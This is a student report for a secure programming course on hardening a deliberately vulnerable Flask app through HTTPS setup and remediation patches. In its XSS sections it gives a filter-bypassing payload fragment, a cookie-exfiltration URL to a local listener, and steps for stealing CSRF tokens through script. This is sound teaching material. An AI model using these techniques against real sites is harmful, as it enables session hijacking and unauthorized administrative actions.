

SECURE PROGRAMMING

EXERCISE 3 SOLUTION REPORT

Configuring HTTPS, Secure Auditing, and Code Vulnerability Remediation

Submitters:	Omri Asudon (208853598) Dvir Weinman (206397226)
-------------	---

Submission Date:	June 02, 2026
------------------	----------------------

Course:	Secure Programming - Assignment 3
---------	--

A. Adding a Digital Certificate (HTTPS Setup)

This section details the design, configuration, and implementation of a locally trusted HTTPS (SSL/TLS) environment for the **XSSApp** website. The implementation ensures that the server uses a logical domain name (**xssapp.local**) and that modern browsers (specifically Chrome 85 and above) recognize the SSL certificate as fully secure without displaying any warnings.

Why Standard Self-Signed Certificates Fail in Modern Chrome

Historically, browsers validated certificates using the **Common Name (CN)** field (e.g., CN=localhost). However, starting with Chrome 58 and strictly enforced in version 85+, Google deprecated and removed support for Common Name matching. Chrome now exclusively validates the server identity using the **Subject Alternative Name (SAN)** extension. If the SAN extension is missing or does not match the active hostname, Chrome raises a `NET::ERR_CERT_COMMON_NAME_INVALID` error, even if the certificate is signed by a trusted root authority.

Implementation Checklist & Walkthrough

1. Named Host Configuration

To satisfy the requirement of a 'logical/valid name', we mapped a custom domain to our local loopback interface. This was done by editing the Windows hosts file (`C:\Windows\System32\drivers\etc\hosts`) and adding the following entry mapping the local loopback to our logical hostname:

```
127.0.0.1 xssapp.local
```

2. Creating the OpenSSL Configuration (openssl.cnf)

To generate a certificate with the required SAN extension, we created an OpenSSL configuration file named `openssl.cnf`. This file explicitly requests the **subjectAltName** extension to contain both our logical domain name and the local loopback IP address (ensuring fallback compatibility):

```
[req]

distinguished_name = req_distinguished_name

x509_extensions = v3_req

prompt = no

[req_distinguished_name]

C = US

ST = State

L = City

O = Organization

CN = xssapp.local

[v3_req]

keyUsage = keyCertSign, cRLSign, digitalSignature, keyEncipherment

extendedKeyUsage = serverAuth

subjectAltName = @alt_names

[alt_names]

DNS.1 = xssapp.local

IP.1 = 127.0.0.1
```

3. Generating Key and Certificate Pair

Using the OpenSSL executable found inside the local Git installation, we ran the following command to generate a new 2048-bit RSA private key (`key.pem`) and a self-signed X.509 certificate (`cert.pem`) valid for 365 days using our configuration file:

```
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout key.pem -out cert.pem -config openssl.cnf
```

4. Installing and Trusting the Certificate in Windows Store

Even with a valid SAN, Chrome will reject the certificate because it is self-signed and does not chain up to a trusted certificate authority. To establish trust, we imported the certificate (cert.pem) into the Windows **Trusted Root Certification Authorities** store for the active user using PowerShell:

```
Import-Certificate -FilePath .\cert.pem -CertStoreLocation Cert:\CurrentUser\Root
```

5. Modifying app.py to Serve HTTPS

Finally, we updated the Flask server's startup routine in app.py to dynamically scan for cert.pem and key.pem. If found, it automatically initializes the server in HTTPS mode using an SSL context, binding securely to port 5000:

```
def start_app():
    ...
    cert_path = "cert.pem"
    key_path = "key.pem"
    if not (os.path.exists(cert_path) and os.path.exists(key_path)):
        base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
        cert_path = os.path.join(base_dir, "cert.pem")
        key_path = os.path.join(base_dir, "key.pem")

    if os.path.exists(cert_path) and os.path.exists(key_path):
        app.logger.info("Starting server with HTTPS...")
        app.run(host="0.0.0.0", port=5000, ssl_context=(cert_path, key_path))
    else:
        app.logger.info("Starting server with HTTP...")
        app.run(host="0.0.0.0", port=5000)
```

B. Stored XSS & Parser Discrepancies

This section details the theoretical analysis and architectural design of a Stored Cross-Site Scripting (XSS) attack on the **XSSApp** website. The analysis explores how a vulnerability emerges from a parser discrepancy between server-side HTML validators and browser rendering engines, allowing a low-privileged user to impersonate the administrator and execute privileged actions (such as data deletion).

The Flaw: BeautifulSoup vs. Browser DOM Reconstruction

The root vulnerability lies in `validation_utilities.validate_message()`. The function attempts to validate user input by parsing it with BeautifulSoup (using Python's built-in `html.parser`) and checking for the presence of `<script>` tags or any attributes starting with `on` (event handlers like `onerror`).

This validation approach introduces a severe **parser discrepancy**:

1. **BeautifulSoup's Strict Parsing**: When given highly broken or malformed HTML tags (such as unclosed brackets, unusual slashes, or nested tags like `<<script>alert(1)</script>`), Python's strict `html.parser` frequently fails to resolve the malformed segments as standard elements. Consequently, BeautifulSoup does not register them as active tags or find any attributes matching the blacklist, allowing the string to pass validation.
2. **Browser's Lenient Normalization**: When the browser (e.g., Chrome's Blink engine) receives the raw malformed string, it uses highly permissive error-recovery algorithms to reconstruct a valid Document Object Model (DOM). Chrome successfully normalizes the malformed markup, closes the unclosed brackets, and renders/executes the resulting JavaScript payload.

Conceptual Attack Architecture

1. Storing the Payload (Stored/Persistent Vector)

A low-privileged ('weak') user posts a contact request containing the malformed HTML payload. Because the payload bypasses the BeautifulSoup blacklist, the server accepts the input and stores it raw in the global messages database.

2. Insecure Rendering Context

When the administrator logs in and views the homepage (`/`), the Flask application fetches the stored messages. Because the message is wrapped in Markup (which disables Jinja2 auto-escaping), the server transmits the raw malformed string directly to the admin's browser.

3. Execution & Impersonation (Session Riding / Hijacking)

The administrator's browser parses the malformed string, normalizes it, and executes the injected script within the active administrative session. The script executes same-origin requests (e.g., using `fetch('/drop_all_messages')`) in the background. Since the browser automatically includes the administrator's session cookie, the server authenticates the request and executes the administrative command, successfully deleting all messages on behalf of the low-privileged user.

4. Listening Server Backend (High-Level Design)

If the session cookie lacks `HttpOnly`, the injected script can exfiltrate the token value to a local listening server. The listener can be structured conceptually as a basic HTTP server (using Python's `http.server` or the `requests` library) that logs incoming GET parameters. For example:

```
python -m http.server 8080
```

The XSS payload sends the session identifier to the listener: `http://127.0.0.1:8080/?cookie=value`. The attacker logs the token, imports it into their browser, and gains full administrative persistence.

C. Analysis of <object> Tag Restrictions

This section analyzes the security restrictions applied to the HTML <object> tag when loaded with active MIME types such as text/x-scriptlet. We examine the theoretical mechanics of why modern web browsers systematically block cookie exfiltration attempts via this attack vector.

Historical Context: HTML Scriptlets and ActiveX Control

Historically, in legacy Microsoft Internet Explorer (IE4 through IE11), **HTML Scriptlets** (defined using <object type="text/x-scriptlet" data="URL">) were proprietary components allowing developers to encapsulate dynamic, scripting-capable HTML pages into reusable objects. Crucially, these objects could execute scripts directly inside the parent page's security context, allowing the embedded scriptlet document to access host elements and read document.cookie, bypass sandboxes, and exfiltrate session data.

Why the Attack Fails in Modern Browsers (Blink, WebKit, Gecko)

1. Deprecation and Deletion of Legacy Technologies

HTML Scriptlets and active content handlers (including Silverlight, Java Applets, and ActiveX) have been completely deprecated and permanently removed from modern browser engines. Modern browsers (Chrome, Edge, Firefox, and Safari) do not register or recognize the text/x-scriptlet MIME type. When Chrome processes <object type="text/x-scriptlet" data="...">, it ignores the proprietary scriptlet handler entirely and treats the element as an unresolvable type, blocking all script execution.

2. Strict Same-Origin Policy (SOP) Boundaries

Modern browsers treat standard <object>, <iframe>, and <embed> elements as separate, nested browsing contexts (documents). Even if the embedded object could load and execute a script internally (e.g., as a standard HTML document), the **Same-Origin Policy (SOP)** strictly blocks any cross-document interaction unless the nested document is loaded from the exact same protocol, domain, and port as the parent document. If loaded from an external origin, any attempt by the object's internal script to read window.parent.document.cookie throws a fatal DOMException (Cross-Origin Blocked).

3. Sandboxing and Security Policy Directives (CSP)

Modern browser environments support secure sandboxing controls (e.g., CSP headers like object-src 'none') which completely restrict the instantiation of plugins or executable documents inside <object> tags, providing a hard, client-side cryptographic barrier against plugin-based exploitation.

D. Codebase Vulnerability Remediation

This section presents four critical security remediation patches implemented within the **XSSApp** codebase (specifically inside `app.py`). These patches address vulnerabilities in session security, cryptographic password verification, unsafe HTML output rendering, and process-start session invalidation.

1. Hardening Session Cookies (Mitigating Session Hijacking)

Vulnerability Classification: Session Hijacking / Insecure Cookie Configuration

Security Flaw Analysis:

Originally, the Flask server explicitly disabled script protection on its session cookies by setting `app.config["SESSION_COOKIE_HTTPONLY"] = False`. This critical misconfiguration exposed the active session identifier directly to client-side scripts via `document.cookie`, enabling immediate and complete session theft in the event of any XSS compromise.

Applied Mitigation Patch:

To mitigate this risk, we enabled the `HttpOnly` directive. In addition, we configured the `Secure` flag to restrict cookie transmission strictly to HTTPS connections, and added the `SameSite='Lax'` directive to block cross-site request forgery (CSRF) session riding attacks:

```
# Secure session cookies configuration
app.config["SESSION_COOKIE_HTTPONLY"] = True
app.config["SESSION_COOKIE_SECURE"] = True
app.config["SESSION_COOKIE_SAMESITE"] = 'Lax'
```

2. Salted Password Hashing via Scrypt KDF (Credential Protection)

Vulnerability Classification: Insecure Password Hashing & Static Comparisons

Security Flaw Analysis:

The administrator password check originally used a simple unsalted SHA-256 hash comparison. Unsalted hashes are highly vulnerable to rapid precomputation attacks using offline dictionary lists or pre-compiled rainbow tables. In addition, the static password hash was hardcoded directly in the source code.

Applied Mitigation Patch:

We replaced the unsalted SHA-256 check with Werkzeug's secure key derivation functions. We generated a salted scrypt hash of the administrator password (utilizing 32,768 work iterations, a block size of 8, and a parallelization factor of 1) and integrated `check_password_hash` to perform cryptographically secure comparisons that are highly resistant to offline brute-force attacks:

```
from werkzeug.security import check_password_hash

def test_administrator_password(password: str):
    # Salted hash generated using scrypt (standard Werkzeug format)
    hashed_password = (
        "scrypt:32768:8:1$KAaN1iT6BRmDlHL3$d68bdf6457a5218183113be9dc53d875"
        "9d0f8d05e6d15be1f6e024dbaaab817a17a0b6900d7d286cdac7baa4442faed7aba"
        "8ef61b5a0c2007ca867e145331571"
    )
    return check_password_hash(hashed_password, password)
```

3. Enforcing Template Auto-Escaping (Eliminating Stored XSS)

Vulnerability Classification: Unsafe HTML Rendering / Markup Bypass

Security Flaw Analysis:

To support formatted text, the server originally wrapped the user-submitted message field inside a `jinja2.Markup()` block before appending it to the global messages list. This tells the template engine that the string contains safe HTML, completely disabling Jinja2's built-in context-aware auto-escaping. As a result, any HTML or JavaScript injected into the message field was rendered raw and executed directly in the browser of any user viewing the homepage.

Applied Mitigation Patch:

Rather than attempting to filter out tags using custom validation, the secure and correct remedy is to let the template engine escape the user input. We removed the unsafe Markup wrapping entirely. Now, all user-submitted inputs are stored as raw text, and Jinja2 automatically encodes special characters (such as `<` and `>`) into safe text entities, making Stored XSS completely impossible:

```
def add_message(args: dict):
    required_args = ["name", "phone_number", "email", "subject", "message"]
    result = {name: args.get(name) for name in required_args}
    for validator_name, validator in VALIDATORS.items():
        if validator_name in result:
            validator(result[validator_name])
    # Removed Markup wrapper to let Jinja2 automatically auto-escape output safely!
    if is_administrator_logged_in():
        result["name"] = result["name"] + " (Administrator)"
    messages.append(result)
```

4. Persistent Application Secret Key (Session Lifecycle)

Vulnerability Classification: Ephemeral Cryptographic Secret Key Configuration

Security Flaw Analysis:

The application's cryptographic secret_key was originally generated as 16 random bytes on every application start. This meant that whenever the server was restarted or reloaded, all existing user sessions, CSRF tokens, and signed cookies were instantly invalidated, resulting in immediate user logout and broken active requests.

Applied Mitigation Patch:

We standardized secret key loading to read from the FLASK_SECRET_KEY environment variable first. If not configured, it loads from a persistent local file (.secret_key) that is generated safely on first boot. This ensures consistent session states across server restarts while maintaining high cryptographic entropy:

```
def start_app():
    # Load secret key persistently to avoid session invalidation on restart
    secret_key = os.environ.get("FLASK_SECRET_KEY")
    if not secret_key:
        secret_key_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".secret_
key")
        if os.path.exists(secret_key_file):
            with open(secret_key_file, "rb") as f:
                secret_key = f.read()
        else:
            secret_key = generate_random_key()
            with open(secret_key_file, "wb") as f:
                f.write(secret_key)
```

E. Session Riding & Bypassing HttpOnly Cookie Protections

This section explains the theoretical mechanics of how an attacker can successfully execute the actions in Section B (specifically, deleting all messages on the server) even if the administrator session cookie was configured with the HttpOnly directive. We analyze how XSS-based **Session Riding** and DOM access completely bypass this security boundary.

The Mechanism of Session Riding / Client-Side Request Forgery

The HttpOnly flag is a vital defense-in-depth control that strictly prevents client-side scripts (such as JavaScript injected via XSS) from reading the document.cookie property. This completely stops the script from exfiltrating the raw session identifier back to the attacker. However, HttpOnly **does not** prevent the browser from automatically attaching the session cookie to any outgoing HTTP requests sent back to the application's origin.

1. Direct HTTP Requests (Same-Origin Fetch)

Because the injected script executes inside the victim's active browser context (under the same origin), any HTTP request the script makes to the server automatically includes all relevant cookies (including HttpOnly ones). To trigger the deletion of all messages, the attacker does not need to know the actual session token value. The script can simply issue a same-origin background fetch request to the administrative endpoint: `fetch('/drop_all_messages')`

The browser seamlessly attaches the administrator's cookie, and the server executes the action.

2. Bypassing CSRF Token Protection

If the application enforces anti-CSRF token verification (as in the /request route using csrf_token), a simple cross-site request would fail. However, because the script runs inside the same origin due to XSS, the script has **full read and write access to the page's DOM**. The script can execute a multi-step payload:

- a) Perform a background GET request to the homepage (/).
- b) Parse the response HTML to locate the hidden input field containing the anti-CSRF token value: `<input type="hidden" name="csrf_token" value="TOKEN">`.
- c) Extract the token value from the DOM and include it in the POST request body sent to the protected endpoint.

This demonstrates why **XSS completely neutralizes CSRF protection**; once an attacker can execute script on the origin, they can read any client-side tokens and bypass all anti-forgery validations.